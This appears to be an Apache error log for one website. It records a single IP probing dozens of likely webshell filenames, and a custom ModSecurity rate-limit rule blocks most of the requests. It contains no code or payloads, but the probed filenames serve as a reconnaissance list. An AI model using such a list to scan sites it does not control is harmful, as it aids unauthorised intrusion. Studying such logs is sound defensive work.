[Thu May 07 08:35:10.144419 2026] [:error] [pid 56066:tid 56135] [client 20.104.207.18:49579] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "afvePkYS8DGwDvklLv5xEwAAAMw"]
[Thu May 07 08:35:10.653812 2026] [:error] [pid 56066:tid 56125] [client 20.104.207.18:49651] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "afvePkYS8DGwDvklLv5xFQAAAMI"]
[Thu May 07 08:35:11.110862 2026] [:error] [pid 56066:tid 56132] [client 20.104.207.18:49572] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "afveP0YS8DGwDvklLv5xGAAAAMk"]
[Thu May 07 08:35:11.583533 2026] [:error] [pid 56065:tid 56115] [client 20.104.207.18:49553] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "afveP3dV4hYThdnhfxCpBwAAAJM"]
[Thu May 07 08:35:12.000528 2026] [:error] [pid 56064:tid 56081] [client 20.104.207.18:63516] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "afvePysGkZZUEf_7QCP7RQAAAAw"]
[Thu May 07 08:35:12.499370 2026] [:error] [pid 56064:tid 56080] [client 20.104.207.18:63489] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "afveQCsGkZZUEf_7QCP7RgAAAAs"]
[Thu May 07 08:35:13.117923 2026] [:error] [pid 56150:tid 56154] [client 20.104.207.18:49603] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "afveQdu4duXJJeTigXTZTAAAAEI"]
[Thu May 07 08:35:13.705945 2026] [:error] [pid 56065:tid 56100] [client 20.104.207.18:53419] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "afveQXdV4hYThdnhfxCpFQAAAIQ"]
[Thu May 07 08:35:14.194821 2026] [:error] [pid 56150:tid 56167] [client 20.104.207.18:49626] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "afveQtu4duXJJeTigXTZTwAAAE8"]
[Thu May 07 08:35:14.718795 2026] [:error] [pid 56150:tid 56175] [client 20.104.207.18:49547] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "afveQtu4duXJJeTigXTZUQAAAFc"]
[Thu May 07 08:35:15.527855 2026] [:error] [pid 56064:tid 56078] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/tx79.php
[Thu May 07 08:35:17.114746 2026] [:error] [pid 56064:tid 56078] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Thu May 07 08:35:17.325738 2026] [:error] [pid 56064:tid 56091] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Thu May 07 08:35:17.536172 2026] [:error] [pid 56064:tid 56071] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/options.php
[Thu May 07 08:35:17.746593 2026] [:error] [pid 56064:tid 56076] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/admlo.php
[Thu May 07 08:35:17.957284 2026] [:error] [pid 56064:tid 56075] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Thu May 07 08:35:18.175461 2026] [:error] [pid 56064:tid 56088] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/x=34.php
[Thu May 07 08:35:18.388052 2026] [:error] [pid 56064:tid 56087] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/tramuibs.php
[Thu May 07 08:35:18.604293 2026] [:error] [pid 56064:tid 56090] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/view.php
[Thu May 07 08:35:18.815596 2026] [:error] [pid 56064:tid 56084] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu May 07 08:35:19.026193 2026] [:error] [pid 56064:tid 56073] [client 20.104.207.18:63598] File does not exist: /usr/local/apache/htdocs/suspended-page/x402.php
[Thu May 07 08:35:19.233626 2026] [:error] [pid 56064:tid 56083] [client 20.104.207.18:63598] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "afveRysGkZZUEf_7QCP7VQAAAA4"]
[Thu May 07 08:35:19.918298 2026] [:error] [pid 56150:tid 56162] [client 20.104.207.18:49588] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "afveR9u4duXJJeTigXTZVAAAAEo"]
[Thu May 07 08:35:20.427691 2026] [:error] [pid 56150:tid 56166] [client 20.104.207.18:41312] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "afveSNu4duXJJeTigXTZVgAAAE4"]
[Thu May 07 08:35:21.037681 2026] [:error] [pid 56065:tid 56101] [client 20.104.207.18:49570] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "afveSXdV4hYThdnhfxCpHAAAAIU"]
[Thu May 07 08:35:21.587297 2026] [:error] [pid 56150:tid 56163] [client 20.104.207.18:53416] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "afveSdu4duXJJeTigXTZVwAAAEs"]
[Thu May 07 08:35:22.212312 2026] [:error] [pid 56065:tid 56104] [client 20.104.207.18:49562] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "afveSndV4hYThdnhfxCpHwAAAIg"]
[Thu May 07 08:35:22.686229 2026] [:error] [pid 56065:tid 56119] [client 20.104.207.18:53387] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "afveSndV4hYThdnhfxCpIAAAAJc"]
[Thu May 07 08:35:23.171800 2026] [:error] [pid 56150:tid 56161] [client 20.104.207.18:63513] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "afveS9u4duXJJeTigXTZWwAAAEk"]
[Thu May 07 08:35:23.651153 2026] [:error] [pid 56066:tid 56137] [client 20.104.207.18:41331] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "afveS0YS8DGwDvklLv5xKgAAAM4"]
[Thu May 07 08:35:24.177934 2026] [:error] [pid 56150:tid 56160] [client 20.104.207.18:49598] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "afveTNu4duXJJeTigXTZYQAAAEg"]
[Thu May 07 08:35:24.780197 2026] [:error] [pid 56150:tid 56167] [client 20.104.207.18:53498] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "afveTNu4duXJJeTigXTZZAAAAE8"]
[Thu May 07 08:35:25.298211 2026] [:error] [pid 56066:tid 56143] [client 20.104.207.18:49625] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "afveTUYS8DGwDvklLv5xLgAAANQ"]
[Thu May 07 08:35:25.817301 2026] [:error] [pid 56150:tid 56169] [client 20.104.207.18:49624] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "afveTdu4duXJJeTigXTZhgAAAFE"]
[Thu May 07 08:35:26.479843 2026] [:error] [pid 56065:tid 56113] [client 20.104.207.18:53473] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "afveTndV4hYThdnhfxCpJAAAAJE"]
[Thu May 07 08:35:27.039571 2026] [:error] [pid 56064:tid 56087] [client 20.104.207.18:49544] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "afveTysGkZZUEf_7QCP7ZwAAABI"]
[Thu May 07 08:35:27.502537 2026] [:error] [pid 56065:tid 56114] [client 20.104.207.18:49620] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "afveT3dV4hYThdnhfxCpJgAAAJI"]
[Thu May 07 08:35:28.058936 2026] [:error] [pid 56064:tid 56083] [client 20.104.207.18:63601] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "afveUCsGkZZUEf_7QCP7aAAAAA4"]
[Thu May 07 08:35:28.493593 2026] [:error] [pid 56066:tid 56136] [client 20.104.207.18:63488] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "afveUEYS8DGwDvklLv5xNgAAAM0"]
[Thu May 07 08:35:29.101032 2026] [:error] [pid 56066:tid 56125] [client 20.104.207.18:53417] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "afveUUYS8DGwDvklLv5xNwAAAMI"]
[Thu May 07 08:35:29.653624 2026] [:error] [pid 56066:tid 56142] [client 20.104.207.18:63547] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "afveUUYS8DGwDvklLv5xPAAAANM"]
[Thu May 07 08:35:30.312385 2026] [:error] [pid 56065:tid 56103] [client 20.104.207.18:49575] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "afveUndV4hYThdnhfxCpKQAAAIc"]
[Thu May 07 08:35:31.100778 2026] [:error] [pid 56066:tid 56130] [client 20.104.207.18:53386] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "afveU0YS8DGwDvklLv5xQAAAAMc"]
[Thu May 07 08:35:31.613069 2026] [:error] [pid 56066:tid 56126] [client 20.104.207.18:41301] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "afveU0YS8DGwDvklLv5xQgAAAMM"]
[Thu May 07 08:35:32.173485 2026] [:error] [pid 56065:tid 56105] [client 20.104.207.18:49551] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "afveVHdV4hYThdnhfxCpLAAAAIk"]
[Thu May 07 08:35:32.838666 2026] [:error] [pid 56065:tid 56099] [client 20.104.207.18:53410] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "afveVHdV4hYThdnhfxCpLQAAAIM"]
[Thu May 07 08:35:33.881156 2026] [:error] [pid 56064:tid 56085] [client 20.104.207.18:49612] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "afveVSsGkZZUEf_7QCP7awAAABA"]
[Thu May 07 08:35:34.489430 2026] [:error] [pid 56065:tid 56116] [client 20.104.207.18:41297] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "afveVndV4hYThdnhfxCpMAAAAJQ"]
[Thu May 07 08:35:35.084927 2026] [:error] [pid 56065:tid 56110] [client 20.104.207.18:49646] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "afveV3dV4hYThdnhfxCpMQAAAI4"]
[Thu May 07 08:35:35.713425 2026] [:error] [pid 56065:tid 56107] [client 20.104.207.18:53424] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "afveV3dV4hYThdnhfxCpMgAAAIs"]
[Thu May 07 08:35:36.260680 2026] [:error] [pid 56150:tid 56167] [client 20.104.207.18:53435] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "afveWNu4duXJJeTigXTZmQAAAE8"]
[Thu May 07 08:35:37.152871 2026] [:error] [pid 56150:tid 56158] [client 20.104.207.18:41308] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "afveWdu4duXJJeTigXTZmwAAAEY"]
[Thu May 07 08:35:38.241996 2026] [:error] [pid 56066:tid 56142] [client 20.104.207.18:49563] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "afveWkYS8DGwDvklLv5xSQAAANM"]
[Thu May 07 08:35:38.892836 2026] [:error] [pid 56066:tid 56130] [client 20.104.207.18:41236] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "afveWkYS8DGwDvklLv5xTQAAAMc"]
[Thu May 07 08:35:39.528500 2026] [:error] [pid 56066:tid 56127] [client 20.104.207.18:49639] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "afveW0YS8DGwDvklLv5xTgAAAMQ"]
[Thu May 07 08:35:40.137373 2026] [:error] [pid 56066:tid 56143] [client 20.104.207.18:63493] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "afveXEYS8DGwDvklLv5xUAAAANQ"]
[Thu May 07 08:35:40.857641 2026] [:error] [pid 56066:tid 56123] [client 20.104.207.18:41311] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "afveXEYS8DGwDvklLv5xUwAAAMA"]
[Thu May 07 08:35:41.412441 2026] [:error] [pid 56066:tid 56138] [client 20.104.207.18:49627] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "afveXUYS8DGwDvklLv5xVwAAAM8"]
[Thu May 07 08:35:42.071572 2026] [:error] [pid 56066:tid 56128] [client 20.104.207.18:53426] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "afveXkYS8DGwDvklLv5xXwAAAMU"]
[Thu May 07 08:35:42.584893 2026] [:error] [pid 56066:tid 56123] [client 20.104.207.18:49581] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "afveXkYS8DGwDvklLv5xaAAAAMA"]
[Thu May 07 08:35:43.045784 2026] [:error] [pid 56064:tid 56086] [client 20.104.207.18:41323] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "afveXysGkZZUEf_7QCP7fAAAABE"]
[Thu May 07 08:35:43.489902 2026] [:error] [pid 56150:tid 56173] [client 20.104.207.18:53468] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/99.php"] [unique_id "afveX9u4duXJJeTigXTZsAAAAFU"]
[Thu May 07 08:35:44.019557 2026] [:error] [pid 56150:tid 56164] [client 20.104.207.18:49617] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/99.php"] [unique_id "afveYNu4duXJJeTigXTZswAAAEw"]
[Thu May 07 08:35:44.758026 2026] [:error] [pid 56150:tid 56172] [client 20.104.207.18:41337] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/99.php"] [unique_id "afveYNu4duXJJeTigXTZtAAAAFQ"]
